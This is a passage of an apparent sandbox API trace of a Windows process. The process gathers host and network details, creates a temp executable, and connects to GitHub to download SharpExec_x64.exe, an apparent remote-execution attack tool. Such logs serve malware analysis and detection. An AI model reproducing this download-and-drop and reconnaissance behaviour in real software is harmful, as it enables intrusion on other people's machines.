nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed5b8, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed5b8*=0x1000, lpOverlapped=0x0) returned 1 [0104.898] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed5b8, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed5b8*=0x1000, lpOverlapped=0x0) returned 1 [0104.899] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed478, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed478*=0x1000, lpOverlapped=0x0) returned 1 [0104.906] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed6b8, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed6b8*=0x1000, lpOverlapped=0x0) returned 1 [0104.908] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed568, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed568*=0x1000, lpOverlapped=0x0) returned 1 [0104.908] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed568, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed568*=0xc8f, lpOverlapped=0x0) returned 1 [0104.908] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed688, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed688*=0x0, lpOverlapped=0x0) returned 1 [0104.909] CloseHandle (hObject=0x430) returned 1 [0104.910] GetCurrentProcess () returned 0xffffffffffffffff [0104.910] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1edca8 | out: TokenHandle=0x1edca8*=0x430) returned 1 [0104.911] GetCurrentProcess () returned 0xffffffffffffffff [0104.911] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1edca8 | out: TokenHandle=0x1edca8*=0x434) returned 1 [0104.912] GetCurrentProcess () returned 0xffffffffffffffff [0104.912] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1eda88 | out: TokenHandle=0x1eda88*=0x438) returned 1 [0104.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\newfile.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1edb40 | out: lpFileInformation=0x1edb40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0104.912] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config", nBufferLength=0x105, lpBuffer=0x1ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config", lpFilePart=0x0) returned 0x37 [0104.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\newfile.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1edb28 | out: lpFileInformation=0x1edb28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0104.914] GetCurrentProcess () returned 0xffffffffffffffff [0104.914] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1edca8 | out: TokenHandle=0x1edca8*=0x43c) returned 1 [0104.914] GetCurrentProcess () returned 0xffffffffffffffff [0104.914] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1edca8 | out: TokenHandle=0x1edca8*=0x440) returned 1 [0104.930] GetCurrentProcess () returned 0xffffffffffffffff [0104.930] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed9f8 | out: TokenHandle=0x1ed9f8*=0x444) returned 1 [0104.937] GetCurrentProcess () returned 0xffffffffffffffff [0104.937] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1eda08 | out: TokenHandle=0x1eda08*=0x448) returned 1 [0104.951] gethostname (in: name=0x1edf90, namelen=256 | out: name="YKyd69q") returned 0 [0105.001] GetCurrentProcess () returned 0xffffffffffffffff [0105.001] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed968 | out: TokenHandle=0x1ed968*=0x4b8) returned 1 [0105.009] GetCurrentProcess () returned 0xffffffffffffffff [0105.009] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed978 | out: TokenHandle=0x1ed978*=0x4bc) returned 1 [0105.020] GetAddrInfoW (in: pNodeName="YKyd69q", pServiceName=0x0, pHints=0x1ee088*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edfd0 | out: ppResult=0x1edfd0*=0x1a6069e0*(ai_flags=0, ai_family=23, ai_socktype=0, ai_protocol=0, ai_addrlen=0x1c, ai_canonname="YKyd69q", ai_addr=0x1a609660*(sa_family=23, sin6_port=0x0, sin6_flowinfo=0x0, sin6_addr="fe80:0000:0000:0000:cd91:1b4c:d95e:ff22", sin6_scope_id=0xe), ai_next=0x1a606b20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1a5fcd30*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.55"), ai_next=0x0))) returned 0 [0105.039] FreeAddrInfoW (pAddrInfo=0x1a6069e0*(ai_flags=0, ai_family=23, ai_socktype=0, ai_protocol=0, ai_addrlen=0x1c, ai_canonname="YKyd69q", ai_addr=0x1a609660*(sa_family=23, sin6_port=0x0, sin6_flowinfo=0x0, sin6_addr="fe80:0000:0000:0000:cd91:1b4c:d95e:ff22", sin6_scope_id=0xe), ai_next=0x1a606b20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1a5fcd30*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.55"), ai_next=0x0))) [0105.208] CoTaskMemAlloc (cb=0x20c) returned 0x1a59c660 [0105.209] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a59c660 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0105.209] CoTaskMemFree (pv=0x1a59c660) [0105.209] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1edbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0105.232] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe", nBufferLength=0x105, lpBuffer=0x1eda90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe", lpFilePart=0x0) returned 0x31 [0105.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edf70) returned 1 [0105.232] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\tav1geqs.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d8 [0105.234] GetFileType (hFile=0x4d8) returned 0x1 [0105.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edee0) returned 1 [0105.234] GetFileType (hFile=0x4d8) returned 0x1 [0105.257] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0105.258] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4e0 [0105.331] GetCurrentProcess () returned 0xffffffffffffffff [0105.331] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed958 | out: TokenHandle=0x1ed958*=0x4e4) returned 1 [0105.334] GetCurrentProcess () returned 0xffffffffffffffff [0105.334] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed968 | out: TokenHandle=0x1ed968*=0x4e8) returned 1 [0105.361] QueryPerformanceFrequency (in: lpFrequency=0x7fe848ea368 | out: lpFrequency=0x7fe848ea368*=100000000) returned 1 [0105.362] QueryPerformanceCounter (in: lpPerformanceCount=0x1edfd8 | out: lpPerformanceCount=0x1edfd8*=18620338863) returned 1 [0105.364] GetCurrentProcess () returned 0xffffffffffffffff [0105.364] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed8c8 | out: TokenHandle=0x1ed8c8*=0x4ec) returned 1 [0105.399] GetCurrentProcess () returned 0xffffffffffffffff [0105.399] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed8d8 | out: TokenHandle=0x1ed8d8*=0x4f0) returned 1 [0105.403] GetCurrentProcess () returned 0xffffffffffffffff [0105.403] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1edda8 | out: TokenHandle=0x1edda8*=0x4f4) returned 1 [0105.447] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ebdc8 | out: phkResult=0x1ebdc8*=0x4f8) returned 0x0 [0105.448] RegQueryValueExW (in: hKey=0x4f8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1ebe18, lpData=0x0, lpcbData=0x1ebe10*=0x0 | out: lpType=0x1ebe18*=0x1, lpData=0x0, lpcbData=0x1ebe10*=0xe) returned 0x0 [0105.449] RegQueryValueExW (in: hKey=0x4f8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1ebe18, lpData=0x22d1148, lpcbData=0x1ebe10*=0xe | out: lpType=0x1ebe18*=0x1, lpData="Client", lpcbData=0x1ebe10*=0xe) returned 0x0 [0105.449] RegCloseKey (hKey=0x4f8) returned 0x0 [0105.453] CoTaskMemAlloc (cb=0xcd0) returned 0x1a5a6c50 [0105.453] RasEnumConnectionsW (in: param_1=0x1a5a6c50, param_2=0x1edd50, param_3=0x1edd58 | out: param_1=0x1a5a6c50, param_2=0x1edd50, param_3=0x1edd58) returned 0x0 [0105.471] CoTaskMemFree (pv=0x1a5a6c50) [0105.471] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d0 [0105.472] ioctlsocket (in: s=0x4d0, cmd=-2147195266, argp=0x1edd78 | out: argp=0x1edd78) returned 0 [0105.472] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x524 [0105.472] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x528 [0105.472] ioctlsocket (in: s=0x524, cmd=-2147195266, argp=0x1edd78 | out: argp=0x1edd78) returned 0 [0105.472] WSAIoctl (in: s=0x4d0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1edd00, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1edd00, lpOverlapped=0x0) returned -1 [0105.473] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1ed8e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0105.473] WSAEventSelect (s=0x4d0, hEventObject=0x520, lNetworkEvents=512) returned 0 [0105.473] WSAIoctl (in: s=0x524, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1edd00, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1edd00, lpOverlapped=0x0) returned -1 [0105.474] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1ed8e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0105.474] WSAEventSelect (s=0x524, hEventObject=0x528, lNetworkEvents=512) returned 0 [0105.474] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x52c [0105.474] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x52c, param_3=0x3) returned 0x0 [0105.479] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1edde8 | out: phkResult=0x1edde8*=0x544) returned 0x0 [0105.480] RegOpenKeyExW (in: hKey=0x544, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1edd28 | out: phkResult=0x1edd28*=0x548) returned 0x0 [0105.480] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x54c [0105.480] RegNotifyChangeKeyValue (hKey=0x548, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x54c, fAsynchronous=1) returned 0x0 [0105.481] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1edd30 | out: phkResult=0x1edd30*=0x550) returned 0x0 [0105.481] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x554 [0105.481] RegNotifyChangeKeyValue (hKey=0x550, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x554, fAsynchronous=1) returned 0x0 [0105.481] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1edd30 | out: phkResult=0x1edd30*=0x558) returned 0x0 [0105.481] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x55c [0105.481] RegNotifyChangeKeyValue (hKey=0x558, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x55c, fAsynchronous=1) returned 0x0 [0105.481] GetCurrentProcess () returned 0xffffffffffffffff [0105.481] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1edcb8 | out: TokenHandle=0x1edcb8*=0x560) returned 1 [0105.486] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1a60d080 [0105.503] WinHttpSetTimeouts (hInternet=0x1a60d080, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0105.504] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1edd30 | out: pProxyConfig=0x1edd30) returned 1 [0105.566] CoTaskMemAlloc (cb=0x20e) returned 0x1a59e960 [0105.566] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x1a59e960, nSize=0x105 | out: lpBuffer="ϖ") returned 0x0 [0105.567] CoTaskMemFree (pv=0x1a59e960) [0105.567] CoTaskMemAlloc (cb=0x20e) returned 0x1a59e960 [0105.567] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x1a59e960, nSize=0x105 | out: lpBuffer="ϖ") returned 0x0 [0105.567] CoTaskMemFree (pv=0x1a59e960) [0105.641] GetCurrentProcess () returned 0xffffffffffffffff [0105.641] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed838 | out: TokenHandle=0x1ed838*=0x5b8) returned 1 [0105.650] WinHttpGetProxyForUrl (in: hSession=0x1a60d080, lpcwszUrl="https://raw.githubusercontent.com/anthemtotheego/SharpExec/master/CompiledBinaries/SharpExec_x64.exe", pAutoProxyOptions=0x1edba0, pProxyInfo=0x1edc70 | out: pProxyInfo=0x1edc70) returned 0 [0108.259] GetCurrentProcess () returned 0xffffffffffffffff [0108.259] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed788 | out: TokenHandle=0x1ed788*=0x5dc) returned 1 [0108.262] SetEvent (hEvent=0x4dc) returned 1 [0108.268] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1edcb8 | out: pFixedInfo=0x0, pOutBufLen=0x1edcb8) returned 0x6f [0108.283] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1a637eb0 [0108.283] GetNetworkParams (in: pFixedInfo=0x1a637eb0, pOutBufLen=0x1edcb8 | out: pFixedInfo=0x1a637eb0, pOutBufLen=0x1edcb8) returned 0x0 [0108.294] LocalFree (hMem=0x1a637eb0) returned 0x0 [0108.298] CoTaskMemAlloc (cb=0x20e) returned 0x1a59eff0 [0108.298] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x1a59eff0, nSize=0x105 | out: lpBuffer="￿߾") returned 0x0 [0108.298] CoTaskMemFree (pv=0x1a59eff0) [0108.298] CoTaskMemAlloc (cb=0x20e) returned 0x1a59eff0 [0108.298] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x1a59eff0, nSize=0x105 | out: lpBuffer="￿߾") returned 0x0 [0108.298] CoTaskMemFree (pv=0x1a59eff0) [0108.311] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5e4 [0108.314] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5e0 [0108.314] GetAddrInfoW (in: pNodeName="raw.githubusercontent.com", pServiceName=0x0, pHints=0x1edb48*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1eda90 | out: ppResult=0x1eda90*=0x1a614eb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="github.map.fastly.net", ai_addr=0x1a5a7480*(sa_family=2, sin_port=0x0, sin_addr="151.101.12.133"), ai_next=0x0)) returned 0 [0108.317] FreeAddrInfoW (pAddrInfo=0x1a614eb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="github.map.fastly.net", ai_addr=0x1a5a7480*(sa_family=2, sin_port=0x0, sin_addr="151.101.12.133"), ai_next=0x0)) [0108.318] GetAddrInfoW (in: pNodeName="raw.githubusercontent.com", pServiceName=0x0, pHints=0x1edb48*(ai_flags=131072, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1eda90 | out: ppResult=0x1eda90*=0x1a614eb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="raw.githubusercontent.com", ai_addr=0x1a5a74c0*(sa_family=2, sin_port=0x0, sin_addr="151.101.12.133"), ai_next=0x0)) returned 0 [0108.319] FreeAddrInfoW (pAddrInfo=0x1a614eb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="raw.githubusercontent.com", ai_addr=0x1a5a74c0*(sa_family=2, sin_port=0x0, sin_addr="151.101.12.133"), ai_next=0x0)) [0108.320] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5e8 [0108.320] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5ec [0108.320] ioctlsocket (in: s=0x5e8, cmd=-2147195266, argp=0x1edab8 | out: argp=0x1edab8) returned 0 [0108.320] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5f0 [0108.320] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5f4 [0108.320] ioctlsocket (in: s=0x5f0, cmd=-2147195266, argp=0x1edab8 | out: argp=0x1edab8) returned 0 [0108.320] WSAIoctl (in: s=0x5e8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1eda40, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1eda40, lpOverlapped=0x0) returned -1 [0108.320] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1ed620, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0108.320] WSAEventSelect (s=0x5e8, hEventObject=0x5ec, lNetworkEvents=512) returned 0 [0108.320] WSAIoctl (in: s=0x5f0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1eda40, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1eda40, lpOverlapped=0x0) returned -1 [0108.321] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1ed620, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0108.321] WSAEventSelect (s=0x5f0, hEventObject=0x5f4, lNetworkEvents=512) returned 0 [0108.321] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1edaa8*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1edaa8*=0xbf0) returned 0x6f [0108.326] LocalAlloc (uFlags=0x0, uBytes=0xbf0) returned 0x1a63a5a0 [0108.326] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1a63a5a0, SizePointer=0x1edaa8*=0xbf0 | out: AdapterAddresses=0x1a63a5a0*(Alignment=0xe000001c0, Length=0x1c0, IfIndex=0xe, Next=0x1a63a8d0, AdapterName="{89C47688-58E9-48ED-A232-2A7897FAD591}", FirstUnicastAddress=0x1a63a820, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x0, [1]=0x20, [2]=0xe3, [3]=0xf9, [4]=0xb8, [5]=0xf8, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0xe, ZoneIndices=([0]=0xe, [1]=0xe, [2]=0xe, [3]=0xe, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x1a63a760*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xe8, [6]=0x2e, [7]=0xf0, [8]=0x0, [9]=0x60, [10]=0x38, [11]=0x9b, [12]=0xba, [13]=0x1, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11006038, FirstDnsSuffix=0x0), SizePointer=0x1edaa8*=0xbf0) returned 0x0 [0108.336] LocalFree (hMem=0x1a63a5a0) returned 0x0 [0108.338] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eda88 | out: phkResult=0x1eda88*=0x5f8) returned 0x0 [0108.339] RegQueryValueExW (in: hKey=0x5f8, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x1edac8, lpData=0x0, lpcbData=0x1edac0*=0x0 | out: lpType=0x1edac8*=0x0, lpData=0x0, lpcbData=0x1edac0*=0x0) returned 0x2 [0108.339] RegCloseKey (hKey=0x5f8) returned 0x0 [0108.339] WSAConnect (in: s=0x5e4, name=0x22e8d30*(sa_family=2, sin_port=0x1bb, sin_addr="151.101.12.133"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0108.361] closesocket (s=0x5e0) returned 0 [0108.415] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ed8b8 | out: phkResult=0x1ed8b8*=0x5e0) returned 